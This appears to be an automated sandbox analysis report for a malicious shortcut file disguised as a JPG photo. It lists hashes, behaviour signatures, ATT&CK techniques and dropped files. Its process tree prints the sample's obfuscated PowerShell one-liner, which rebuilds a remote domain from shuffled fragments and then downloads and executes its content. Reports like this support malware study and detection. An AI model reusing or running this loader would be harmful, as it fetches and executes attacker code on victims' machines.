d7a6278d19ae67d09e1be289edc3518ddb8dc76349cb2ded250cbd487aef27b3

Analysis

max time kernel
148s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 10:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
IMG_20260728_003329.jpg.lnk
Size 1KB
Sample260728-mcaeaathrg
SHA256 d7a6278d19ae67d09e1be289edc3518ddb8dc76349cb2ded250cbd487aef27b3
MD5 dddfabbbb9b0d9233dabeb2a133f495b
SHA1 b02f979870af1d2206bd4d4ee2d40534bfe3cf55
SHA512 2630cf768729aabd194fb7ecc7a5386d01e5daf743ccd29b72b94cfa20f562af72a1b0546978ab63167f623d4ff346647f2ebfa13d531df4ccddfe4160ee8ded
TLSH
T1BA31C0299BF21328D6B74B356872631186327B0EDA5D8FDF1280C2945965110FC78F2B
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4968	powershell.exe
3	4968	powershell.exe
5	4968	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5320	cmd.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe
4968	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4968	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5320 wrote to memory of 4968	5320	cmd.exe	90
PID 4968 wrote to memory of 5552	4968	powershell.exe	91
PID 5552 wrote to memory of 2756	5552	csc.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_003329.jpg.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('p','v','r','w.','p','hoto','stayno','sho','rese','in')[8,2,1,0,5,9,6,3,7,4] -join $eajV) -useb | iex
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4968
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4s5rnp55\4s5rnp55.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5552
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9CC3.tmp" "c:\Users\Admin\AppData\Local\Temp\4s5rnp55\CSCB7A729644F11418EB81AF5BF4E265F32.TMP"
      4⤵
      PID:2756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1132

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

4s5rnp55.dll

Path C:\Users\Admin\AppData\Local\Temp\4s5rnp55\4s5rnp55.dll
Size 3KB
SHA256 b944fc76bdb61387d588b41f152be8cf190ab375b0e7f66bb72a927b12951231
MD5 a6b029dc16212b52b0f8937f901d4e7e
SHA1 81b934de59c5c8dcea1a2595a88f60eb250740d3
SHA512 6c7f9ba9dcdd314868ab7c22d72319e852a1be26df2908384d9268bd9e74fe4c9c8dcb32851da5de24fb1dbf26006c1a80777cb7ddb3dd6f5d521007ca50f925
TLSH
T10751CA16A3EC462BE4770734AFE30367A7B8FC109FB3676D19800229AC207546E31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

RES9CC3.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9CC3.tmp
Size 1KB
SHA256 8607a92b84bbd3936ee7f23fae1393a893e9463ebb7770cadd2b82798700595f
MD5 77835c2fee611d9a1272446b4069418e
SHA1 76ae806300dec4a8e4c0097a92b7c5654c769f0b
SHA512 0f4486beefeae2c55980788dfe85784889ffb641302a6de59efc469165f205881e5a2b69bac90b6aa603b78916d7ba2c2999fcf362541be0f222332b7a074959
TLSH
T1CA21CC0593ED470FF0B35731A9F6032FE278FD64EFA2A35A4541022D2821644EEE0B72
MD5 SHA1 SHA512 TLSH

Submit Download

4s5rnp55.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\4s5rnp55\4s5rnp55.0.cs
Size 203B
SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
MD5 171a88ab4fad87acfd2e5032eb0c6113
SHA1 754de0e7656c558d335710fc41cbf196d39c1a19
SHA512 87ef6ac53a00d21f2df4d81ec5956861a4b539b10f5855345aa068c0d9d971f3329477e485471eb40b9eeea59f01fd3c42c4ab2f25e71d825cbf3586be0206b8
TLSH
T13AD023147BF36D34100304130C4661FCB713812B169E26057DF81300CF4700A0275919
MD5 SHA1 SHA512 TLSH

Submit Download

4s5rnp55.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\4s5rnp55\4s5rnp55.cmdline
Size 369B
SHA256 f991b261c372caa4fe4115b4e0535f245b28fef3b106be9a3b4a5be0f481e439
MD5 25c5c297fd3614895972c3c49993b2e7
SHA1 bb178a59ecb5d5cf4bd37683b63eb49130265741
SHA512 6dee5feac5a20ea153bdc5ad94f4d2c453e2f9e9162808ccf267f34786dde5e28d80628a80092f6bfe1ba2dd513bd7676a8eae96f464a358e92d23fca3eac7f7
TLSH
T18CE06F3F5246C2BD02E9100B63AAC4BDC2B207833DA03F849060880EE037A022FD2F82
MD5 SHA1 SHA512 TLSH

Submit Download

CSCB7A729644F11418EB81AF5BF4E265F32.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\4s5rnp55\CSCB7A729644F11418EB81AF5BF4E265F32.TMP
Size 652B
SHA256 025a7be9f15f9236a163b2bc07e727b681071356af6c3477d01f59fb5d2e7e4c
MD5 9db4532c0e036ea25e885277bea808a9
SHA1 fd2dec20d1287f60bf0435fe076ef70238219d49
SHA512 04f7031409299e66bbe541e066cfbd902b37c3ba59ad01a895bb29f9f4a0dd80bd68d23d34929de2414975b9b991b5692a680dff1bc151c5c76bf5d6991868eb
TLSH
T1CBF03A0AA3F8020AF0F35B30B9F64367D1ACBC64DE32A3ED284103192874614D962FB6
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4968-9-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/4968-2-0x00007FFDF3EFF000-0x00007FFDF3F00000-memory.dmp

Download

memory/4968-11-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/4968-12-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/4968-13-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/4968-14-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/4968-15-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/4968-16-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/4968-17-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/4968-10-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/4968-8-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/4968-7-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/4968-30-0x000002A57FCB0000-0x000002A57FCB8000-memory.dmp

Download

memory/4968-6-0x000002A57F8F0000-0x000002A57F912000-memory.dmp

Download

memory/4968-3-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/4968-31-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/4968-32-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download

memory/4968-35-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

Download